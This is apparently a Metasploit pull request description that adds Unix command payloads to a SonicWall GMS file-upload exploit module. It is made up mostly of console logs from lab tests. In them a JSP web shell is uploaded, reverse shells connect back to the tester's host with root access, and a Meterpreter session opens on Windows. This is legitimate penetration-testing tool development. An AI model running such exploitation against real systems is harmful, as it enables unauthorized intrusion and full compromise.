rapid7/metasploit-framework — pull request #1384 by jvazquez-r7 (2013-01-25 00:00:35+00:00)
Title: added CMD type payload for unix targets

#1369 plus linux target switched to CMD type, because @wchen-r7 has detected issues while testing the linux meterpreter as payload for the linux target. Tested the CMD compatible payloads.

Testing on linux

* cmd/unix/reverse

```
msf exploit(sonicwall_gms_upload) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(sonicwall_gms_upload) > rexploit
[*] Reloading module...

[-] Exploit failed: The following options failed to validate: RHOST.
msf exploit(sonicwall_gms_upload) > set rhost 192.168.1.172
rhost => 192.168.1.172
msf exploit(sonicwall_gms_upload) > rexploit
[*] Reloading module...

[-] Exploit failed: The following options failed to validate: LHOST.
msf exploit(sonicwall_gms_upload) > set lhost 192.168.1.129
lhost => 192.168.1.129
msf exploit(sonicwall_gms_upload) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] 192.168.1.172:80 - Retrieving Tomcat installation path...
[+] 192.168.1.172:80 - Tomcat installed on /opt/GMSVP/Tomcat/
[*] 192.168.1.172:80 - Uploading the JSP
[+] 192.168.1.172:80 - JSP successfully uploaded to /opt/GMSVP/Tomcat/webapps/appliance/i5bmsgX1Xx.jsp
[*] Triggering payload at '/i5bmsgX1Xx.jsp' ...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XwMlKDgFvBa8YFyJ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XwMlKDgFvBa8YFyJ\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.129:4444 -> 192.168.1.172:37857) at 2013-01-25 00:49:47 +0100
[+] Deleted /opt/GMSVP/Tomcat/webapps/appliance/i5bmsgX1Xx.jsp

3765428562
IAIjdwGBmAeGvoOhYagCZcunGmrZNsge
sh: line 4: attrib.exe: command not found
sh: line 4: del.exe: command not found
OSidCBAvZZAzFRtRPFFvjGuJcefhTmKl
id
uid=0(root) gid=0(root)
^C
Abort session 1? [y/N] y

```

* generic_shell_reverse_tcp

```
msf exploit(sonicwall_gms_upload) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf exploit(sonicwall_gms_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.172:80 - Retrieving Tomcat installation path...
[+] 192.168.1.172:80 - Tomcat installed on /opt/GMSVP/Tomcat/
[*] 192.168.1.172:80 - Uploading the JSP
[+] 192.168.1.172:80 - JSP successfully uploaded to /opt/GMSVP/Tomcat/webapps/appliance/F5QlElRiDW1x1A.jsp
[*] Triggering payload at '/F5QlElRiDW1x1A.jsp' ...
[*] Command shell session 3 opened (192.168.1.129:4444 -> 192.168.1.172:37861) at 2013-01-25 00:50:53 +0100
[+] Deleted /opt/GMSVP/Tomcat/webapps/appliance/F5QlElRiDW1x1A.jsp

654092865
zgUZCzZTXrjbsdChLUinhdSNEXfccbAF
sh: line 3: attrib.exe: command not found
sh: line 3: del.exe: command not found
uRezOJQzcyLksvRaiYROpvTcQXGUaAJB
id
uid=0(root) gid=0(root)
^C
Abort session 3? [y/N] y

[*] 192.168.1.172 - Command shell session 3 closed. Reason: User exit
```

* reverse_bash

```
msf exploit(sonicwall_gms_upload) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf exploit(sonicwall_gms_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.172:80 - Retrieving Tomcat installation path...
[+] 192.168.1.172:80 - Tomcat installed on /opt/GMSVP/Tomcat/
[*] 192.168.1.172:80 - Uploading the JSP
[+] 192.168.1.172:80 - JSP successfully uploaded to /opt/GMSVP/Tomcat/webapps/appliance/QOTqSsKQOUP.jsp
[*] Triggering payload at '/QOTqSsKQOUP.jsp' ...
[*] Command shell session 4 opened (192.168.1.129:4444 -> 192.168.1.172:37862) at 2013-01-25 00:51:43 +0100
[+] Deleted /opt/GMSVP/Tomcat/webapps/appliance/QOTqSsKQOUP.jsp

644436603
vrjvxoyfcmYykFUDMIjYAOTJDrHnPSyg
sh: line 3: attrib.exe: command not found
sh: line 3: del.exe: command not found
uHwqnrYwncOwaMiualQNtvfzxYGFFled
id
uid=0(root) gid=0(root)
^C
Abort session 4? [y/N] y

[*] 192.168.1.172 - Command shell session 4 closed. Reason: User exit

```

And windows

```
msf exploit(sonicwall_gms_upload) > set rhost 192.168.1.140
rhost => 192.168.1.140
msf exploit(sonicwall_gms_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.140:80 - Retrieving Tomcat installation path...
[+] 192.168.1.140:80 - Tomcat installed on C:\GMSVP\Tomcat\
[*] 192.168.1.140:80 - Uploading the payload
[+] 192.168.1.140:80 - Payload successfully uploaded to C:\GMSVP\Tomcat\webapps\appliance\YVPoQFckSodbN.txt
[*] 192.168.1.140:80 - Uploading the JSP
[+] 192.168.1.140:80 - JSP successfully uploaded to C:\GMSVP\Tomcat\webapps\appliance\z6nmG49ZFU.jsp
[*] Triggering payload at '/z6nmG49ZFU.jsp' ...
[*] Sending stage (752128 bytes) to 192.168.1.140
[*] Meterpreter session 5 opened (192.168.1.129:4444 -> 192.168.1.140:1142) at 2013-01-25 00:53:00 +0100
[+] Deleted C:\GMSVP\Tomcat\webapps\appliance\YVPoQFckSodbN.txt
[+] Deleted C:\GMSVP\Tomcat\webapps\appliance\z6nmG49ZFU.jsp

meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > Interrupt: use the 'exit' command to quit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.140 - Meterpreter session 5 closed. Reason: User exit

```